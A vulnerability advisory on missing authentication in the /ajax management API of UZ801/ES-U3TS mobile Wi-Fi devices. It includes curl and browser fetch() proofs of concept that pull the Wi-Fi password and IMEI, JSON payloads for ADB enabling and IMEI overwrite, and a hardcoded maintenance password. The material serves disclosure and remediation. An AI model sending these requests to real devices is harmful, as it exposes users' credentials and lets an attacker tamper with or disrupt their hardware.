
Security advisory detailing broken access control in UZ801/ES-U3TS MifiService web API, allowing unauthenticated data extraction, config modification, and device reboot. Includes PoCs and mitigations.
Security advisory and technical notes for a broken access control issue in the embedded web management API exposed by MifiService.apk on the OEM / white-label UZ801_v2.1 4G LTE mobile Wi-Fi platform, also observed marketed as ES-U3TS.
This repository is intended to support coordinated disclosure and CVE assignment. It focuses on reproducible, non-weaponized technical evidence.
The affected device exposes a Jetty-based HTTP management endpoint at:
http://192.168.100.1/ajax
The backend request dispatcher is implemented in:
com.mifiservice.server.AjaxSevlet
Although the web UI presents a login page, the backend does not enforce a valid authenticated server-side session for most management functions. As a result, an attacker on the adjacent network can directly invoke sensitive funcNo operations without authentication.
Verified impact includes:
Additional high-risk functions were confirmed by static analysis, including:
The tested hardware appears to belong to an OEM / white-label device family. The exact original development vendor is currently unknown, and no reliable vendor security contact has been identified so far.
This advisory therefore uses the following product naming:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.helloIf additional brands or resellers are found to ship the same firmware, APK, web assets, and funcNo behavior, they should be treated as likely affected variants of the same codebase.
/ajax Web API endpointMifiService.apkcom.mifiservice.server.AjaxSevletThis is not primarily a default-credential issue.
The root cause is broken access control in the backend API:
Origin validation is presentReferer validation is presentThe login function exists, but it does not provide meaningful authorization boundaries for the majority of the management API.
Primary attack vector:
Secondary attack vector:
This is not an internet-exposed remote attack by default. The attacker must either:
192.168.100.1, orAll findings below are included as affected functionality of the same broken access control issue.
Where relevant, each item is explicitly marked as either:
Live validatedConfirmed by static analysisThis distinction is preserved for accuracy. High-risk functionality is not mislabeled as live-tested when it was intentionally not executed on public hardware.
| funcNo | Description | Status | Notes |
|---|---|---|---|
At the time of writing, the device appears to be sold through OEM / reseller channels with inconsistent or absent branding, and no trustworthy original development vendor contact has been established.
The examples below are intentionally limited to read-only or low-impact validation. They are included to demonstrate the vulnerability without providing a weaponized exploitation workflow.
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
Expected behavior:
ssidpwd in cleartextcurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
Expected behavior:
imeifwversionRead current language:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
Set language:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
Restore original value afterward.
This endpoint does not enforce session state or Origin / Referer validation. A connected victim browser can therefore be abused to send background requests.
Minimal demonstration page:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
This example is intentionally limited to a read-only function number. Do not deploy it against users or production devices.
The following JSON formats are documented for defensive analysis and triage only. They are not accompanied by execution steps here.
2001 - enable hidden debug interfaces{"funcNo":2001}
Observed behavior in code:
setprop persist.sys.usb.config rndis,serial_smd,diag,adbsync2004 - IMEI overwrite path{"funcNo":2004,"imei":"<redacted-test-value>"}
Observed behavior in code:
AT+WRIMEI=<value>No public live test is included here due to legal, compliance, and device-integrity concerns.
1002{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
This issue is a strong CVE candidate because it is:
Suggested classification:
CWE-306 Missing Authentication for Critical FunctionCWE-862 Missing AuthorizationSuggested CVSS:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo requests without authenticationOrigin and RefererThis repository is intended for defensive research, vulnerability disclosure, and coordination. Public examples are intentionally limited to low-risk validation. High-risk functionality is documented only to the extent necessary for remediation and CVE triage.
| funcNo | Description | Status | Notes |
|---|
1002 | Read SSID, device IP, DNS, Wi-Fi password | Live validated | Returns Wi-Fi password in cleartext |
1009 | Read Wi-Fi encryption mode and password | Live validated | Returns Wi-Fi password in cleartext |
1011 | Read DHCP range, DNS, client list | Live validated | Useful for local reconnaissance |
1015 | Read SIM status | Live validated | Returns SIM state |
1029 | Read IMEI, firmware, manufacturer, signal info | Live validated | Returns sensitive device identity |
1052 | Read MAC filter mode and configured entries | Live validated | Leaks policy and configured slots |
2002 | Read active SIM slot | Live validated | Exposes runtime state |
| funcNo | Description | Status | Notes |
|---|
1004 | Change connection mode | Static confirmed | No session enforcement observed |
1005 | Change preferred network mode | Static confirmed | High operational impact |
1007 | Change SSID / max station count | Static confirmed | Persists config and restarts AP logic |
1010 | Change Wi-Fi encryption mode / password | Static confirmed | High confidentiality impact |
1012 | Change DHCP/DNS-related settings | Static confirmed | Local network tampering |
1016/1017/1018 | APN profile read / set / switch | Static confirmed | WAN behavior modification |
1031 | Change language and persist | Live validated | Used as low-risk proof of write access |
1053/1054/1055 | Change MAC filter behavior and entries | Static confirmed | Network access control tampering |
| funcNo | Description | Status | Notes |
|---|
1013 | Reboot device | Live validated | DoS / service interruption |
1014 | Reset app/network config and reboot | Live validated | Not full Android userdata wipe |
2000 | Reboot to bootloader | Live validated | High operational impact |
2001 | Enable hidden ADB/Diag USB config and reboot | Static confirmed | Dangerous maintenance path |
2003 |
| Hidden maintenance password path |
| Static confirmed |
Uses hardcoded admin8888; behavior appears partial / residual |
2004 | Overwrite IMEI | Static confirmed | Calls AT command path; not executed publicly |